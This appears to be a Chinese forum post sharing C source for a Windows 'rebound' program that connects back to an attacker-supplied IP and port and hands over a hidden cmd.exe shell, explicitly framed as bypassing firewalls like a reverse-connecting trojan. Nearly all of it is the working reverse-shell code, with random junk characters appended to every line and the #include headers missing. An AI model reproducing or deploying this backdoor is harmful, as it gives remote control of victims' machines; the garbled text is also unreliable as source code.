这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 +`9yZOaC#
=!YP$hf Y
/* ============================== '#KA+?@
Rebound port in Windows NT 7\f{'KL
By wind,2006/7 Jxf}b}^T
===============================*/ Z$1.^H.Db
#include )ph30B
#include h&q=I.3O|?
b24di
#pragma comment(lib,"wsock32.lib") Fdr*xHx$P
2*Va9HP!q
void OutputShell(); a" ^#!G<+
SOCKET sClient; i<J^:7
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; i'Wcf1I-=
t(wZiK}
void main(int argc,char **argv) \4/:^T}*
{ <3)|44.o&
WSADATA stWsaData; k+f1sV[4}
int nRet; t[/\KG8
SOCKADDR_IN stSaiClient,stSaiServer; 2'|XtSj
,YQ=Zk)w
if(argc != 3) IL2e6b
{ wG;}TxrLS
printf("Useage:\n\rRebound DestIP DestPort\n"); XNKtL]U}$
return; g(KK9Unu
} 5"$e=y/
~37R0`C
WSAStartup(MAKEWORD(2,2),&stWsaData); ypgliq(
IN<:P
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); bG"6pU
dZ.}j&ZH'
stSaiClient.sin_family = AF_INET; Ko4)0&
stSaiClient.sin_port = htons(0); {qY3L8b
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); ?<Z)*CF)
g%+ql[(4
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ,eyp$^ 2
{ 4P`PmQ=GQh
printf("Bind Socket Failed!\n"); 8I<_w4fC
return; i0VhG:O;
} #dHr&1(
r^fxyN2V
stSaiServer.sin_family = AF_INET; h\/^Aa0
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); /L)?> tg
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \moZ6J
!p-'t]
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) ~wa%fM
{ p
.lu4
printf("Connect Error!"); qK{|Q
return; ;_>s0rUV
} b=V)?"e-
OutputShell(); A>4l/
} +GRxHuW,
&"sX^6t
void OutputShell() r(PJ~8)(=
{ ZYrKG+fkl
char szBuff[1024]; Ewa[Y=+tx
SECURITY_ATTRIBUTES stSecurityAttributes; "9)1K!tH
OSVERSIONINFO stOsversionInfo; Gs^(YGtU
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; bta0?O
#
STARTUPINFO stStartupInfo; UEN YJ*tnP
char *szShell; u4go*#
PROCESS_INFORMATION stProcessInformation; }~myf\$
unsigned long lBytesRead; ]lymY _ >
&uv>'S#%
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); JJ^iy*v
%j~9O~-
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); (r.$%[,.<
stSecurityAttributes.lpSecurityDescriptor = 0; V#p G; ,
stSecurityAttributes.bInheritHandle = TRUE; 9"m,p
We[<BJo4
|3s.;wK
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0);
*K]>}
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); jK&
Nkp
iSnIBs9\
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Kh>?!`lL
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ['/;'NhdlY
stStartupInfo.wShowWindow = SW_HIDE; VC/R)%@%
stStartupInfo.hStdInput = hReadPipe; (3)C_Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 71K\.[ =-
+J\L4ri k
GetVersionEx(&stOsversionInfo); j4.Qvj >:4
_bN))9
3
switch(stOsversionInfo.dwPlatformId) <1ztj#B
{ !O 0ZD4/{4
case 1: "r5'lQI
szShell = "command.com"; [{hL F9yPx
break; NTXws4'D
default: {Bav$kw;?e
szShell = "cmd.exe"; m~Lf^gbG?
break; J`U$b+q6
} =g{_^^n
F2Nb5WT
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); #R~">g:w
g_3rEvf"4
send(sClient,szMsg,77,0); MAsWds`bpB
while(1) u.ULS3`C/X
{ f]@[4<N y
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); sg'Y4
if(lBytesRead) k@'?"CP\Xq
{ @\x,;!N@
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); &6|6J1c8
send(sClient,szBuff,lBytesRead,0); Vvxc8v:
} O+CF/ipX/
else eY0Ly7
{ yb@X*PW/z
lBytesRead=recv(sClient,szBuff,1024,0); SL?%/$2g=O
if(lBytesRead<=0) break; }'@tA")-)
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); VWnu#_(
} 8eg2o$k_,#
} d +*T@k]>M
17MN8SfQ
return; m)tI
}